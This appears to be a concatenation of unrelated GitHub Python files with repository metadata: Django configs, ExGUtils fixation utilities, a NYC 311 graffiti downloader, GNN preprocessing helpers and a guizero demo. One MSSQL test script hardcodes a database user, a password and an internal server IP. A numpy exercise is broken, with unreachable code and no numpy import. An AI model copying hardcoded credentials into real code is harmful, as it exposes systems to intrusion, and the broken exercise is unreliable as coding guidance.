1e-4)') parser.add_argument('--lr-decay', default=0.995, type=float, metavar='lrd', help='learning rate decay (default: 0.995)') parser.add_argument('--criterion', default='mse', type=str, help='criterion to optimize') # misc settings parser.add_argument('--seed', type=int, default=42, metavar='S', help='random seed (default: 42)') parser.add_argument('--disable-cuda', action='store_true', default=False, help='disables CUDA training / using only CPU') parser.add_argument('--tensorboard', dest='tensorboard', action='store_true',default=False, help='Use tensorboard to track and plot') args = parser.parse_args() # update args args.data_dir = '{}/{}'.format(args.root_dir, args.dataset) args.log_dir = '{}/runs/{}/'.format(args.data_dir, args.name) #args.res_dir = '%s/runs/%s/res' % (args.data_dir, args.name) args.out_pred_dir = '%s/runs/%s/pred' % (args.data_dir, args.name) args.cuda = not args.disable_cuda and torch.cuda.is_available() args.device = 'cuda' if args.cuda else 'cpu' assert args.data_dir is not None print(' '.join(sys.argv)) print(args) return args

[ "clement.beaulieu@polytechnique.edu" ]

clement.beaulieu@polytechnique.edu

bb8be5e76279953821643710c6b9aef108f9a32e

04935a87faa632ad8b588d3e8c8e84f1e1359349

/backend/l11n/admin.py

7ccc3c868ed44c825efa968ae34baaae94b79b6c

[ "BSD-3-Clause" ]

permissive

tughi/localizappion

9d80473e838c551148e03c3b030f24bb8030e805

5c963dc8f7262cdb411cfbcc29ab4fac8fffc6c8

refs/heads/master

2021-01-18T20:32:30.364400

2018-06-06T21:39:00

86,977,623

0

null

UTF-8

Python

false

446

py

from django.contrib import admin from .models import Project from .models import Session from .models import String from .models import Suggestion from .models import Translation from .models import Translator from .models import Vote admin.site.register(Project) admin.site.register(Session) admin.site.register(String) admin.site.register(Suggestion) admin.site.register(Translation) admin.site.register(Translator) admin.site.register(Vote)

[ "admin@tughi.com" ]

admin@tughi.com

844148e71e068c7822a323420d0c8c3b7e3f55a6

72c34626845057e150fb2f808813ba2d440aafb4

/Market_place/main/urls.py

f9840a82512132e4fad059d28745b78f1e9293bc

[]

no_license

IgorSulj/Market_place

b15a82db28b937b966cf149ebe100540e2f9b0c2

2eb0a864e6d8e18a57974cc717661f7711d32607

refs/heads/master

2023-03-05T22:13:24.563308

2021-02-21T18:36:54

340,967,480

0

null

UTF-8

Python

false

148

py

from django.urls import path, include from .views import start_page app_name ='main' urlpatterns = [ path('',start_page, name='start_page'), ]

[ "igorsuljin@gmail.com" ]

igorsuljin@gmail.com

c404f0baaf3f4d8216168f863d039b1e9416ecd8

2b9765b1af64e52e16e1a4743595acb60276cd1a

/3_experiment/3_3_data_analysis_md/Python/jupyter/utils_exG.py

2e08803ab9ebdf98525cb3a56b07fe3d59b1b134

[]

no_license

danieljwilson/MADE

af82814d2bdde6671279c781cefccec3ee119f96

9337ad740205cc9c8a2e73f7ad45bf9cc96e5193

refs/heads/master

2021-07-13T03:27:28.612081

2020-07-10T12:44:33

170,940,265

0

null

UTF-8

Python

false

3,002

py

#!/usr/bin/python """ util.py Author: Daniel J Wilson, daniel.j.wilson@gmail.com Date: April 20, 2018 Utility functions for creating fixation distributions using ExGUtils. Note: Runs on Python 2 https://pypi.org/project/ExGUtils/ """ import numpy as np import pandas as pd import os import pickle # for saving to pickle import glob # ExGUtils Imports from ExGUtils.pyexg import stats, drand, exp_rvs, gauss_rvs, exg_rvs from ExGUtils.pyexg import * def create_subject_dwell_samples(number, fixations_file, output_filepath): """ Function Description """ #-------------------------# # Import fixation data # #-------------------------# fixations = pd.read_csv(fixations_file) #-------------------------# # Clean data # #-------------------------# # Cleaned fixations of less than 100ms fixations_cleaned = fixations[fixations.fix_time > 100] # Indicate percentage of removed fixations removed = ((float(len(fixations)) - float(len(fixations_cleaned)))/float(len(fixations))) * 100 print('Cleaning fixation values below 100 ms removed {0}% of all fixations.\n'.format(round(removed, 2))) #------------------------------# # Create First/Mid Fix Dists. # # for Group and Indiv. # #------------------------------# # GROUP group_first_fix = fixations['fix_time'][fixations['fix_num']==1] group_mid_fix = fixations['fix_time'][(fixations['fix_num']>1) & (fixations['rev_fix_num']>1)] # INDIVIDUAL subj_first_fix = {} subj_mid_fix = {} for i in np.unique(fixations.parcode): subj_first_fix[i] = fixations['fix_time'][(fixations['fix_num']==1) & (fixations['parcode']==i)] subj_mid_fix[i] = fixations['fix_time'][(fixations['fix_num']>1) & (fixations['rev_fix_num']>1) & (fixations['parcode']==i)] #------------------------------# # Create fixation dists. # # based on indiv. params. # #------------------------------# N = number subj_first_fix_synth = {} subj_mid_fix_synth = {} print('Creating subject fixation distributions...') for i in np.unique(fixations.parcode): x_first = subj_first_fix[i].values.tolist() x_mid = subj_mid_fix[i].values.tolist() [mlk_f, slk_f, tlk_f] =maxLKHD(x_first) [mlk_m, slk_m, tlk_m] =maxLKHD(x_mid) subj_first_fix_synth[i] = [exg_rvs(mlk_f, slk_f, tlk_f) for ii in xrange(N)] subj_mid_fix_synth[i] = [exg_rvs(mlk_m, slk_m , tlk_m) for ii in xrange(N)] print('{0}...'.format(i)) #------------------------------# # Save distributions file # #------------------------------# if not os.path.exists(output_filepath): # create the directory if it does not already exist os.makedirs(output_filepath) pickle_out = open(output_filepath + "subj_first_fix_synth.pickle","wb") pickle.dump(subj_first_fix_synth, pickle_out) pickle_out.close() pickle_out = open(output_filepath + "subj_mid_fix_synth.pickle","wb") pickle.dump(subj_mid_fix_synth, pickle_out) pickle_out.close()

[ "daniel.j.wilson@gmail.com" ]

daniel.j.wilson@gmail.com

ef4629047e768046dd194987c4ad80535fe3c764

c4fad14fa55d67d26e3a5d08a8eca8d54b49bd10

/Project_Analytic_Code/311_data/get311dataclean.py

ff0148561218e2accaec08a5058c42d6ef02413b

[]

no_license

sds695/Graffiti_nyc

1d98f66dbd5e75255064fcc064348b7f023067c6

94c4aaaec01c302e7653c16283df63b8515fb7b9

refs/heads/master

2020-07-01T06:33:58.825534

2019-08-07T20:47:24

201,076,492

0

2

null

2019-08-07T20:29:34

2019-08-07T15:23:10

null

UTF-8

Python

false

1,348

py

#!/usr/bin/env python3 -V ## python xxx.py 1000000 2019-03-01 2019-04-01 Mar2019.csv Mar2019_clean.csv # not using Sodapy # try to output print the total row import csv import sys import json import requests import pandas as pd inputLimit = sys.argv[1] from_ = sys.argv[2] to_ = sys.argv[3] file = sys.argv[4] outputfile = sys.argv[5] url ="https://data.cityofnewyork.us/resource/fhrw-4uyv.json" query = "?$where=created_date BETWEEN '"+from_+"' AND '"+to_+"'"+"&$limit="+str(inputLimit) link = url+query jsonData = requests.get(link) results = json.loads(jsonData.text) keys=set() n = 0 for d in results: n+=1 keys.update(d.keys()) print(n) with open(file,'w',encoding='utf-8') as fi: output=csv.DictWriter(fi,fieldnames=keys) output.writeheader() output.writerows(results) data_311 = pd.read_csv(file,usecols=['complaint_type','unique_key','latitude','longitude','created_date']) # df.joined = pd.to_datetime(df.joined, format='%m/%d/%y') data_311_graffiti = data_311[data_311.complaint_type=='Graffiti'] print(data_311.shape,data_311_graffiti.shape) data_311_graffiti.drop('complaint_type',axis=1,inplace=True) data_311_graffiti.dropna(inplace=True) data_311_graffiti['created_date'] = pd.to_datetime(data_311_graffiti.created_date, format='%Y-%m-%d') data_311_graffiti.to_csv(outputfile,index=False)

[ "noreply@github.com" ]

sds695.noreply@github.com

87ed409979ce273e82d0a5d78486e6781252f9a0

fdfe8cb6d56775070a3269132e04dac66703686f

/math/0x00-linear_algebra/102-squashed_like_sardines.py

4a1549d46261e632ecf8884c64693797b0331dd2

[]

no_license

ABERKOUKS/mundiapolis-math

6869156af6dc0c6cbbb4f18ad7a5dc0d66aa3109

7c3f657ed43e768c88f1e27bf33af09037393403

refs/heads/main

2023-03-22T03:03:50.981649

2021-03-19T22:47:26

346,022,472

0

null

UTF-8

Python

false

276

py

#!/usr/bin/env python3 def cat_matrices(mat1, mat2, axis=0): try: return np.concatenate((mat1, mat2), axis).tolist() return np.concatenate( (mat1, mat2), axis, out=None ).tolist() except ValueError: return None

[ "noreply@github.com" ]

ABERKOUKS.noreply@github.com

6f39170e141c34c4ed7e0728026abedadb161926

76c0f49248f9cde2dd6126cea74dc7ab6ca02e4d

/GNN/utils.py

1d9a5d1275d598d181193e1d6d305f1cf903428d

[]

no_license

LXD789/Du-FAGNN

526ff6de9b3b0e454eca92d0ea108db56a7c2274

a334bbc249a15c34280e6f8137e21a1455166bad

refs/heads/main

2023-07-09T19:54:49.301044

2021-08-17T11:35:59

369,227,525

1

0

null

UTF-8

Python

false

22,039

py

import numpy as np import pickle as pkl import scipy.sparse as sp from scipy.sparse.linalg.eigen.arpack import eigsh import sys import random import re from tqdm import tqdm import jieba # import sparse def parse_index_file(filename): """Parse index file.解析索引文件""" index = [] # 定义列表index for line in open(filename): # 对于打开的文件filename中的每一行(每一次循环)， # 在index中添加这一行去掉字符串头尾字符后的新字符串。 index.append(int(line.strip())) # strip()方法用于移除字符串头尾指定的字符（默认为空格或换行符）或字符序列。返回移除字符串头尾指定的字符生成的新字符串。 # 该方法只能删除开头或是结尾的字符，不能删除中间部分的字符。 return index # 返回index，即返回文件中在每一行去掉字符串头尾后的内容 def sample_mask(idx, l): """Create mask.生成掩码""" mask = np.zeros(l) # 定义n维数组类型(ndarray)对象mask，赋值为有l(英文字母l)个元素的用0填充的数组 mask[idx] = 1 # 将mask中下标为idx的元素置为1(数字1) return np.array(mask, dtype=np.bool) # 返回数组mask，并将其元素转换为bool型(0转换为false，1转换为true) def load_data(dataset_str): """ Loads input data from gcn/data directory从文件中加载并解析、提取(分离)输入数据 ind.dataset_str.x => the feature vectors and adjacency matrix of the training instances as list; 训练实例的特征向量和邻接矩阵，为列表 ind.dataset_str.tx => the feature vectors and adjacency matrix of the test instances as list; 测试实例的特征向量和邻接矩阵，为列表 ind.dataset_str.allx => the feature vectors and adjacency matrix of both labeled and unlabeled training instances (a superset of ind.dataset_str.x) as list; 标记和未标记训练实例的特征向量和邻接矩阵（ind.dataset_str.x的超集），为列表 ind.dataset_str.y => the one-hot labels of the labeled training instances as numpy.ndarray object; 带标签的训练实例的独热标签，为numpy.ndarray对象 ind.dataset_str.ty => the one-hot labels of the test instances as numpy.ndarray object; 测试实例的独热标签，为numpy.ndarray对象 ind.dataset_str.ally => the labels for instances in ind.dataset_str.allx as numpy.ndarray object; ind.dataset_str.allx中实例的标签，为numpy.ndarray对象 All objects above must be saved using python pickle module.以上所有的对象必须使用python pickle module保存。 python pickle module：python的序列化文件保存形式 :param dataset_str: Dataset name数据集名 :return: All data input files loaded (as well the training/test data).加载的所有数据输入文件（以及训练/测试数据）。 """ names = ['x_adj', 'x_embed', 'y', 'tx_adj', 'tx_embed', 'ty', 'allx_adj', 'allx_embed', 'ally'] # 列表类对象names存储各类文件名 objects = [] # 定义列表类对象object # 1.解析文件(将序列化的文件内容进行反序列化) for i in range(len(names)): # 对于每次循环里names中的每一个元素： with open("data/ind.{}.{}".format(dataset_str, names[i]), 'rb') as f: # 此句意为打开相应文件，并将其标记为f # “data/ind.{}.{}”文件中的{}{}用dataset_str和当前names中的元素来表示 # format()：格式化字符串的函数str.format()，它增强了字符串格式化的功能。基本语法是通过{}和:来代替以前的%。 if sys.version_info > (3, 0): # 此句：若python版本大于3.0，则在列表objects中添加元素(新添元素为当前打开并已做前边处理后的文件)， # 编码方式为latin1 # sys.version_info：获取python版本号(此程序使用的是3.6) objects.append(pkl.load(f, encoding='latin1')) # pkl.load():反序列化对象，将文件中的数据解析为一个python对象。 else: # 否则在objects中添加元素(当前打开并已做前边处理后的文件)，编码方式为函数默认方式 objects.append(pkl.load(f)) x_adj, x_embed, y, tx_adj, tx_embed, ty, allx_adj, allx_embed, ally = tuple(objects) # 将objects(列表类对象)转换为元组类对象，并赋值给以上9个变量(即objects中对应的9个部分分别赋给这9个变量) # train_idx_ori = parse_index_file("data/{}.train.index".format(dataset_str)) # train_size = len(train_idx_ori) train_adj = [] # 训练集的邻接矩阵 train_embed = [] # 训练集的特征向量 val_adj = [] # 验证集的邻接矩阵 val_embed = [] # 验证集的特征向量 test_adj = [] # 测试集的邻接矩阵 test_embed = [] # 测试集的特征向量 # 定义6个列表类对象 # 2.分别将训练集、测试集和验证集的邻接矩阵和特征向量提取出来单独存放为列表，并将他们转换为数组。 # 下面这个for循环是将训练集的邻接矩阵和特征向量分别提取出来(为什么多此一举？答：元组不可更改，所以要转换为数组) for i in range(len(y)): # 对于循环里文件y(带标签的训练实例的独热标签，为numpy.ndarray对象)中的每一个元素： adj = x_adj[i].toarray() # 定义adj，赋值为转换成数组类型的x_adj的当前元素 embed = np.array(x_embed[i]) # 定义embed，赋值为转换成数组类型的x_embed的当前元素 train_adj.append(adj) # 在train_adj中添加adj(即x_adj当前元素) train_embed.append(embed) # 在train_embed中添加embed(即x_embed当前元素) # 下面这个for循环是将训练集的超集的邻接矩阵和特征向量分别提取出来，放入各自的列表中 for i in range(len(y), len(ally)): # train_size): adj = allx_adj[i].toarray() embed = np.array(allx_embed[i]) val_adj.append(adj) val_embed.append(embed) # 下面这个for循环是将测试集的特征向量和邻接矩阵分别提取出来，放入各自的列表中 for i in range(len(ty)): adj = tx_adj[i].toarray() embed = np.array(tx_embed[i]) test_adj.append(adj) test_embed.append(embed) # 将列表转换为数组(这里不明白为什么要将列表转换为数组) train_adj = np.array(train_adj) val_adj = np.array(val_adj) test_adj = np.array(test_adj) train_embed = np.array(train_embed) val_embed = np.array(val_embed) test_embed = np.array(test_embed) train_y = np.array(y) # 将“带标签的训练集的独热标签”转换为数组，存入train_y中 val_y = np.array(ally[len(y):len(ally)]) # train_size]) # 将allx中有标记的那部分训练集数据的标签的“从‘y的元素个数’到‘ally的元素个数’”这部分数据转换为数组存入val_y中 test_y = np.array(ty) # 测试——2020.9.15 # print("ally样子：", ally) # print("val_y样子：", val_y) return train_adj, train_embed, train_y, val_adj, val_embed, val_y, test_adj, test_embed, test_y def sparse_to_tuple(sparse_mx): """Convert sparse matrix to tuple representation.将稀疏矩阵转换为元组表示形式。""" def to_tuple(mx): if not sp.isspmatrix_coo(mx): # 若mx为非coo_matrix: # isspmatrix_coo(x)：判断x是否为coo_matrix，返回值为bool。(若是，返回true；若否，返回false) # coo_matrix：coo_matrix((data, (i, j)), [shape=(M, N)])参数： # data[:] 就是原始矩阵中的数据，例如上面的4,5,7,9； # i[:] 就是行的指示符号；例如上面row的第0个元素是0，就代表data中第一个数据在第0行； # j[:] 就是列的指示符号；例如上面col的第0个元素是0，就代表data中第一个数据在第0列； # shape参数是告诉coo_matrix原始矩阵的形状，除了上述描述的有数据的行列，其他地方都按照shape的形式补0。 mx = mx.tocoo() # 则令mx重新赋值为coo_matrix的形式 # tocoo():返回稀疏矩阵的coo_matrix形式 # 主要用来创建矩阵，因为coo_matrix无法对矩阵的元素进行增删改等操作。 # 一旦创建之后，除了将之转换成其它格式的矩阵，几乎无法对其做任何操作和矩阵运算。 coords = np.vstack((mx.row, mx.col)).transpose() # 定义数组coords，将mx.row和mx.col竖向堆叠，并调换行列值的索引值 # vstack()：将数组竖向堆叠(即把几个数组竖着堆起来) # transpose():调换数组的行列值的索引值(如二维数组中，行列是按照(x,y)即(0,1)顺序来的，调换后为(y,x)即(1,0)) values = mx.data shape = mx.shape # 测试 # print("coords:", coords) # print("values:", values) # print("shape:", shape) return coords, values, shape # 返回构成稀疏矩阵的行索引和列索引组成的矩阵、稀疏矩阵的原矩阵和稀疏矩阵的行列值 if isinstance(sparse_mx, list): # isinstance():返回对象是类的实例还是子类的实例 for i in range(len(sparse_mx)): sparse_mx[i] = to_tuple(sparse_mx[i]) # 转换为元组 # 测试 # print("sparse_mx[i]:", sparse_mx[i]) else: sparse_mx = to_tuple(sparse_mx) # 转换为元组 # print("sparse_mx:", sparse_mx) return sparse_mx # 返回的spars_mx为元组类型 # 2020.9.18测试：打印sparse_mx结果: # (array([[0, 0], # [0, 1], # [0, 2], # [0, 3], # [0, 4]], dtype=int32), array([ 3, 8, 2, 3, 10]), (1, 5)) def coo_to_tuple(sparse_coo): return sparse_coo.coords.T, sparse_coo.data, sparse_coo.shape # 将coo_matrix(对角存储矩阵)类型转换为tuple(元组)类型 # 自我猜测：返回矩阵的转置、矩阵的内容和矩阵的形状 def preprocess_features(features): # features：特征矩阵组成的总矩阵 """Row-normalize feature matrix and convert to tuple representation行归一化特征矩阵并转换为元组表示""" max_length = max([len(f) for f in features]) for i in tqdm(range(features.shape[0])): # features.shape[0]：总特征矩阵的一行(即一个特征矩阵) feature = np.array(features[i]) # 取feature=features的一行(一个特征矩阵)，转换为数组 # 测试——————2020.10.22 # print("feature:", feature) pad = max_length - feature.shape[0] # padding for each epoch为每个epoch做填充 # 定义pad为max_length与feature的行数的差值 feature = np.pad(feature, ((0, pad), (0, 0)), mode='constant') # 这个地方有错误&*&*&*&*&*&**&*&*&*&*&*&*&*&*& # 此句：对feature(即当前的一个特征矩阵)进行填充。 # numpy.pad(n, pad_width=((2, 3), (3, 3)), mode='constant')参数： # n:代表的是数组 # pad_width：代表的是不同维度填充的长度，（2，3）分别代表第一个维度左填充2，右边填充3。 # （3，3）代表第二个维度左边填充3右边填充3。 # 第一个维度：指的是第一个括号内的元素。第二个维度：指的是第二个括号内的元素。第n个维度：依次类推。 features[i] = feature # 将features的当前元素(当前的一个特征矩阵)重新赋值为feature return np.array(list(features)) # 返回数组类型的features(特征矩阵) def normalize_adj(adj): """Symmetrically normalize adjacency matrix.对称归一化邻接矩阵""" # 归一化作用：将数据规范到[0,1]中，以便处理。 rowsum = np.array(adj.sum(1)) # 计算矩阵adj每一行元素相加之和(axis=1)，将结果转换为数组类型，赋值给rowsum # axis=0：表示纵轴，进行操作的方向为从上到下 # axis=1：表示横轴，进行操作的方向为从左到右 with np.errstate(divide='ignore'): # errstate()：用于浮点错误处理的上下文管理器。 d_inv_sqrt = np.power(rowsum, -0.5).flatten() # 定义d_inv_sqrt，赋值为rowsum的-0.5次方，并对所得结果进行降维(降到一维)。最后结果(d_inv_sqrt)为数组类型。 # 1.power(x, y)函数，计算x的y次方。 # 2.flatten是numpy.ndarray.flatten的一个函数，即返回一个一维数组。 # flatten只能适用于numpy对象，即array或者mat，普通的list列表不适用。默认是按行的方向降维。 d_inv_sqrt[np.isinf(d_inv_sqrt)] = 0. # 此句表示：溢出部分赋值为0 # np.isinf()：判断括号中的内容是否为正负无穷，返回bool类型。(若是，返回true；否则返回false) d_mat_inv_sqrt = np.diag(d_inv_sqrt) # 此句意为：定义数组d_mat_inv_sqrt，其接收d_inv_sqrt经np.diag()(即d_inv_sqrt对角化)的结果。 # np.diag():以一维数组的形式返回方阵的对角线（或非对角线）元素，或将一维数组转换成方阵（非对角线元素为0）。 # 两种功能角色转变取决于输入的v。 # 参数： # v : array_like. # 如果v是2D数组，返回k位置的对角线。如果v是1D数组，返回一个v作为k位置对角线的2维数组。 # k : int, optional。对角线的位置，大于零位于对角线上面，小于零则在下面。 return adj.dot(d_mat_inv_sqrt).transpose().dot(d_mat_inv_sqrt) # 此句意为：将adj与d_mat_inv_sqrt做点乘，再将其进行转置，然后再与d_mat_inv_sqrt进行点乘。返回最后的结果(数组类型)。 def preprocess_adj(adj): """Preprocessing of adjacency matrix for simple GCN model and conversion to tuple representation. 简单GCN模型的邻接矩阵预处理并转换为元组表示。""" max_length = max([a.shape[0] for a in adj]) # 方括号中的for循环称为列表解析。与单独的for循环等价，但速度快一倍。for前面的相当于for循环内的操作。 # 此句意为：在循环中将adj里的每个元素(元素为矩阵)的行数提出来单独组成一个列表，并在这个列表中寻找最大值(即最大行数)， # 并把最大行数赋值给max_length mask = np.zeros((adj.shape[0], max_length, 1)) # mask for padding # 定义数组mask，赋值为有“adj行数”个矩阵、max_length行、1(数字1)列的全为零的数组(三维) for i in tqdm(range(adj.shape[0])): # tqdm：一个快速，可扩展的Python进度条，可以在Python长循环中添加一个进度提示信息。 adj_normalized = normalize_adj(adj[i]) # no self-loop # 将当前adj元素进行对称归一化 pad = max_length - adj_normalized.shape[0] # padding for each epoch # 定义pad，赋值为max_length(最大行数)与adj_normalized的行数之差 adj_normalized = np.pad(adj_normalized, ((0, pad), (0, pad)), mode='constant') # 对数组adj_normalized进行填充。 mask[i, :adj[i].shape[0], :] = 1. # 数组的“第一维的当前元素，第二维从开始位置到adj[i].shape[0](adj当前元素的行数)，第三维的全部”以上元素赋值为1 adj[i] = adj_normalized # adj的当前元素重新赋值为adj_normalized return np.array(list(adj)), mask # coo_to_tuple(sparse.COO(np.array(list(adj)))), mask # 返回转换为数组的adj(邻接矩阵)和数组mask(掩码数组) def construct_feed_dict(features, support, mask, labels, placeholders): """Construct feed dictionary.构造提要字典（将占位符进行赋值）""" # feed_dict作用：给使用placeholder创建出来的tensor赋值。 feed_dict = dict() # 定义feed_dict为字典类对象 feed_dict.update({placeholders['labels']: labels}) feed_dict.update({placeholders['features']: features}) feed_dict.update({placeholders['support']: support}) feed_dict.update({placeholders['mask']: mask}) feed_dict.update({placeholders['num_features_nonzero']: features[1].shape}) return feed_dict def chebyshev_polynomials(adj, k): """Calculate Chebyshev polynomials up to order k. Return a list of sparse matrices (tuple representation). 计算Chebyshev多项式直至k。返回稀疏矩阵的列表（元组表示）。""" print("Calculating Chebyshev polynomials up to order {}...".format(k)) adj_normalized = normalize_adj(adj) laplacian = sp.eye(adj.shape[0]) - adj_normalized largest_eigval, _ = eigsh(laplacian, 1, which='LM') scaled_laplacian = (2. / largest_eigval[0]) * laplacian - sp.eye(adj.shape[0]) t_k = list() t_k.append(sp.eye(adj.shape[0])) t_k.append(scaled_laplacian) def chebyshev_recurrence(t_k_minus_one, t_k_minus_two, scaled_lap): s_lap = sp.csr_matrix(scaled_lap, copy=True) return 2 * s_lap.dot(t_k_minus_one) - t_k_minus_two for i in range(2, k+1): t_k.append(chebyshev_recurrence(t_k[-1], t_k[-2], scaled_laplacian)) return sparse_to_tuple(t_k) def loadWord2Vec(filename): """Read Word Vectors读取词向量""" vocab = [] # 词汇列表 embd = [] # 嵌入列表 word_vector_map = {} # 词向量字典 file = open(filename, 'r') for line in file.readlines(): row = line.strip().split(' ') # 对一行文本先进行去头尾字符串操作、再通过空格进行文本分割(分词)，返回的是列表 if len(row) > 2: # 若这一行文本超过两个词： vocab.append(row[0]) # 在vocab(词汇列表)中添加row列表的第一个元素 vector = row[1:] # 定义列表vector，赋值为row列表从第二个元素开始到末尾的内容 length = len(vector) # 定义length，赋值为为列表vector中含有的元素个数 for i in range(length): vector[i] = float(vector[i]) # 类型转换（string——>float） embd.append(vector) # 在embd(嵌入列表)中添加vector列表(中的元素) word_vector_map[row[0]] = vector # 将字典word_vector_map中的键“row[0]”对应的值赋为vector print('Loaded Word Vectors!') file.close() # 关闭文件 return vocab, embd, word_vector_map # 返回词汇列表、嵌入列表和词向量字典 def clean_str(string): """ Tokenization/string cleaning for all datasets except for SST.除SST外，所有数据集的标记化/字符串清除。 Original taken from https://github.com/yoonkim/CNN_sentence/blob/master/process_data.py """ # re：正则表达式。re.sub()：正则表达式替换函数。sub即substitute(替换) # sub(pattern, repl, string, count=0, flags=0)参数: # （1）pattern：该参数表示正则中的模式字符串； # （2）repl：该参数表示要替换的字符串（即匹配到pattern后替换为repl），也可以是个函数； # （3）string：该参数表示要被处理（查找替换）的原始字符串； # （4）count：可选参数，表示是要替换的最大次数，而且必须是非负整数，该参数默认为0，即所有的匹配都会被替换； # （5）flags：可选参数，表示编译时用的匹配模式（如忽略大小写、多行模式等），数字形式，默认为0。 # string = re.sub(r"[^A-Za-z0-9(),!?\'\`]", " ", string) # string = re.sub(r"\'s", " \'s", string) # string = re.sub(r"\'ve", " \'ve", string) # string = re.sub(r"n\'t", " n\'t", string) # string = re.sub(r"\'re", " \'re", string) # string = re.sub(r"\'d", " \'d", string) # string = re.sub(r"\'ll", " \'ll", string) # string = re.sub(r",", " , ", string) # string = re.sub(r"!", " ! ", string) # string = re.sub(r"$", " \( ", string) # string = re.sub(r"$", " \) ", string) # string = re.sub(r"\?", " \? ", string) # string = re.sub(r"\s{2,}", " ", string) string = re.sub(r"[^A-Za-z0-9(),!?\'\`]", " ", string) string = re.sub(r"\'s", " \'s", string) string = re.sub(r"\'ve", " \'ve", string) string = re.sub(r"n\'t", " n\'t", string) string = re.sub(r"\'re", " \'re", string) string = re.sub(r"\'d", " \'d", string) string = re.sub(r"\'ll", " \'ll", string) string = re.sub(r",", " , ", string) string = re.sub(r"\)", " \) ", string) string = re.sub(r"!", " ! ", string) string = re.sub(r"\(", " \( ", string) string = re.sub(r"\?", " \? ", string) string = re.sub(r"\s{2,}", " ", string) # 那些看起来替换前后无变化的语句，实际上在替换后都在新符号前多了一个空格(加空格的意义：方便下一步操作，即方便分词) return string.strip().lower() # lower():转换大写字符为小写字符 def clean_str_sst(string): """ Tokenization/string cleaning for the SST dataset.SST数据集的标记化/字符串清除。 """ string = re.sub(r"[^A-Za-z0-9(),!?\'\`]", " ", string) string = re.sub(r"\s{2,}", " ", string) return string.strip().lower() # def clean_ch_str(string): # 清洗中文数据 # load_data("mr") # 测试——2020.9.16 # row = [1, 2, 3, 3, 2] # col = [1, 3, 4, 2, 3] # data = [3, 8, 2, 3, 10] # c = sp.coo_matrix(data) # # print("c1:", c) # sparse_to_tuple(c) # print("c2:", c) # 测试——2020.9.18

[ "liuxiaodijx@163.com" ]

liuxiaodijx@163.com

bae30772978c282874e45e1e767430be19ec94f9

7d81464b641105a1dcf2b7ff21b1c03931734367

/MSSQLtest/testconn.py

df2a37f52d7055c64a90e42c78423a4d4ccd0b3d

[]

no_license

Syxoyi/potential-enigma

140dbd11bf7adc00a72ef315fcf39ec45d820b62

020aead1b48bd8dd944786151812158fab6c71af

refs/heads/master

2021-02-10T12:15:57.307328

2020-09-11T15:10:03

244,380,999

0

null

UTF-8

Python

false

881

py

#!/usr/bin/python3 import pyodbc #driver = 'DRIVER={SQL Server}' #driver = 'DRIVER=/opt/microsoft/msodbcsql17/lib64/libmsodbcsql-17.6.so.1.1' driver = 'DRIVER=/opt/microsoft/msodbcsql17/lib64/libmsodbcsql-17.4.so.2.1' server = 'SERVER=10.0.50.108' #server = 'SERVER=10.10.5.153' port = 'PORT=1433' db = 'DATABASE=max' #db = 'DATABASE=barkp' user = 'UID=max' #user = 'UID=exp' pw = 'PWD=Qwerty1234' #pw = 'PWD=exp123' conn_str = ';'.join([driver, server, port, db, user, pw]) conn = pyodbc.connect(conn_str) cursor = conn.cursor() cursor.execute('SELECT TOP 5 * FROM barcodes') rest_of_rows = cursor.fetchall() for line in rest_of_rows: print(line) #row = cursor.fetchone() #rest_of_rows = cursor.fetchall() #print(rest_of_rows) #cnx = pyodbc.connect("DSN=srv;DATABASE=base;UID=user;PWD=123" ) #cursor = cnx.cursor() #cursor.execute("SELECT [IP],[Name] FROM [Nodes]")

[ "m.travushkin@r77.center-inform.ru" ]

m.travushkin@r77.center-inform.ru

ecdeb18eec3797104113fe832ecf9a0550103af3

60ff8ff7b318e8e2a3d43ef161106ca0a61a8751

/experiments/waffle01.py

e59b7e8117e5c084919a8ba79ce59741c3483274

[]

no_license

NUSTEM-UK/ROR

8a3029a3b0ad2158d7f15b560e0436c7b2c3a6dc

e4f80c7fcb70d6b447a87959fd7d841174a7fd40

refs/heads/master

2021-05-08T04:23:30.866350

2017-12-22T11:24:35

108,391,348

0

null

2017-12-22T11:20:05

2017-10-26T09:36:35

Python

UTF-8

Python

false

450

py

# Installed GUIzero on the Mac with: # sudo pip install git+https://github.com/lawsie/guizero.git@version-0.4 # (to get the prerelease version with clickable waffle installed) # NB. needs to run under python3, which is a bit of a pain in VS Code. from guizero import App, Waffle app = App() my_waffle = Waffle(app, remember=True) my_waffle.set_pixel(2, 1, "red") print(my_waffle.get_pixel(2, 1)) print(my_waffle.get_pixel(1, 1)) app.display()

[ "jonathan.sanderson@northumbria.ac.uk" ]

jonathan.sanderson@northumbria.ac.uk

fc1a44026c9b959cef7c38b8b9b4a9c58a28871a

294913d851693cbf9e56a2e2ca92a6225b6b528e

/salty_web_app/venv/bin/python-config

471a428afb294d01544cc88a67befa89fc730a37

[]

no_license

yatong2/saltywebapp

40871c47a46ee8230698bba7f9b1c17c386068a3

75941c223816f40f4a550aec34b3d5b986b70f01

refs/heads/master

2020-12-03T00:03:37.027111

2017-07-06T18:09:38

95,979,629

0

null

UTF-8

Python

false

2,361

#!/Users/yatongge/projects/myhellowebapp/venv/bin/python import sys import getopt import sysconfig valid_opts = ['prefix', 'exec-prefix', 'includes', 'libs', 'cflags', 'ldflags', 'help'] if sys.version_info >= (3, 2): valid_opts.insert(-1, 'extension-suffix') valid_opts.append('abiflags') if sys.version_info >= (3, 3): valid_opts.append('configdir') def exit_with_usage(code=1): sys.stderr.write("Usage: {0} [{1}]\n".format( sys.argv[0], '|'.join('--'+opt for opt in valid_opts))) sys.exit(code) try: opts, args = getopt.getopt(sys.argv[1:], '', valid_opts) except getopt.error: exit_with_usage() if not opts: exit_with_usage() pyver = sysconfig.get_config_var('VERSION') getvar = sysconfig.get_config_var opt_flags = [flag for (flag, val) in opts] if '--help' in opt_flags: exit_with_usage(code=0) for opt in opt_flags: if opt == '--prefix': print(sysconfig.get_config_var('prefix')) elif opt == '--exec-prefix': print(sysconfig.get_config_var('exec_prefix')) elif opt in ('--includes', '--cflags'): flags = ['-I' + sysconfig.get_path('include'), '-I' + sysconfig.get_path('platinclude')] if opt == '--cflags': flags.extend(getvar('CFLAGS').split()) print(' '.join(flags)) elif opt in ('--libs', '--ldflags'): abiflags = getattr(sys, 'abiflags', '') libs = ['-lpython' + pyver + abiflags] libs += getvar('LIBS').split() libs += getvar('SYSLIBS').split() # add the prefix/lib/pythonX.Y/config dir, but only if there is no # shared library in prefix/lib/. if opt == '--ldflags': if not getvar('Py_ENABLE_SHARED'): libs.insert(0, '-L' + getvar('LIBPL')) if not 